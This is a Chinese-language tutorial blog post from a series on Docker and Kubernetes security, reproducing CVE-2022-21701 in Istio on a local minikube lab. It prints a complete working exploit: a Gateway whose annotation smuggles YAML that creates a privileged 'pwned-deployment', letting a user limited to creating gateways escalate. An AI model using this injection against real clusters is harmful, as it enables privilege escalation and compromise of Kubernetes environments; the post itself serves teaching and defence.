iT邦幫忙

2023 iThome 鐵人賽

DAY 23
0

註: 日期編號編錯了,後面的影片日期編號都會順延一天 /images/emoticon/emoticon20.gif

Yes

# 先清空 k8s 環境
minikube delete && minikube start ;

curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.0 TARGET_ARCH=x86_64 sh - ;

# 依照上面提示設定 PATH,這邊只是個範例
export PATH="$PATH:~/istio-1.12.0/bin" ;

# 檢查 istio
istioctl x precheck ;

# 安裝 istio,會看到一堆錯誤,但是勇敢的做下去
istioctl install --set profile=demo -y ;

kubectl create namespace istio-ingress ;

kubectl create -f - << EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: gateways-only-create
rules:
- apiGroups: ["gateway.networking.k8s.io"]
  resources: ["gateways"]
  verbs: ["create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-gateways-only-create
subjects:
- kind: User
  name: test
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: gateways-only-create
  apiGroup: rbac.authorization.k8s.io
EOF

# 判斷是否有能夠抓取 gateways.gateway.networking.k8s.io,沒有的話套用安裝
kubectl get crd gateways.gateway.networking.k8s.io || { kubectl kustomize "github.com/kubernetes-sigs/gateway-api/config/crd?ref=v0.4.0" | kubectl apply -f -; }
# 透過 test 身分先建立正常的 Gateway。
kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
  name: gateway-aeifkz
  namespace: istio-ingress
  annotations:
    networking.istio.io/service-type: "LoadBalancer"      
spec:
  gatewayClassName: istio
  listeners:
  - name: default-aeifkz
    hostname: "*.example.com"
    port: 80
    protocol: HTTP
    allowedRoutes:
      namespaces:
        from: All
EOF

# 看看我們都幹了甚麼好事
kubectl get service -n istio-ingress ;
kubectl get pods -n istio-ingress ;


# 透過 test 身分建立 Gateway,並在 annotations 中注入建立惡意 Pod
kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
  name: gateway
  namespace: istio-ingress
  annotations:
    networking.istio.io/service-type: |-
      "LoadBalancer"
      apiVersion: apps/v1
      kind: Deployment
      metadata:
        name: pwned-deployment
        namespace: istio-ingress
      spec:
        selector:
          matchLabels:
            app: nginx
        replicas: 1
        template:
          metadata:
            labels:
              app: nginx
          spec:
            containers:
            - name: nginx
              image: nginx
              ports:
              - containerPort: 80
              securityContext:
                privileged: true
spec:
  gatewayClassName: istio
  listeners:
  - name: default
    hostname: "*.example.com"
    port: 80
    protocol: HTTP
    allowedRoutes:
      namespaces:
        from: All
EOF


# 看看我們都幹了甚麼好事
kubectl get service -n istio-ingress ;
kubectl get pods -n istio-ingress ;
  • 觀察一下 payload 有一個特殊符號 |- ,這個符號經查詢How do I break a string in YAML over multiple lines? 才知道可以讓 yaml 內可以設定包含換行的數值,並且會remove the line feed, remove the trailing blank lines。舉例來說 :
apiVersion: v1
kind: Pod
metadata:
  name: target-pod
  annotations:
    author: |-
      "LoadBalancer"
      apiVersion: apps/v1
      kind: Deployment
      metadata:
        name: pwned-deployment
        namespace: istio-ingress
spec:
  hostPID: true
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      privileged: true
kubectl create -f test.yaml ;
# 觀察 annotation 數值
kubectl describe pods target-pod ; 
  • 第二個是觀察提權了多少,至少從原本只能建立 gateways 但後面可以建立 pod。
# 列舉出 test 在 namespace 底下有多少權限,大致上比較特別的就是 gateways
kubectl --as test auth can-i --list -n istio-ingress ;

# 試試看有沒有權限建立 Pods,應該是沒有
kubectl --as test -n istio-ingress run traget-pod --image nginx ;

# 從文章不知道哪來的結論知道 istio gateway controller 使用的 istiod 的 serviceaccount
kubectl --as=system:serviceaccount:istio-system:istiod auth can-i --list ;
  • 今日總結 :
    • 本日回顧 :

      • 今天主要介紹第三方的組件的漏洞 CVE-2022-21701,雖然沒有針對原理部分就多做解釋,但是相信大家在經過前面攻擊概念的訓練之後對於該漏洞的影響會比較有感覺。/images/emoticon/emoticon01.gif
    • 次日預告 :

      • 攻擊篇的部分就到此為止了。明天開始就要進入防禦、偵測篇的部分,一樣會先從 docker 容器起手,介紹完後再一路介紹到 K8s 去。/images/emoticon/emoticon08.gif

上一篇
Day23 - 月圓之夜,決戰 K8s CTF 之巔 (quiz-5 出錯,直接送分)
下一篇
Day25 - (輕鬆系列) 一口氣看完 怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了(攻擊篇) 第一季內容
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言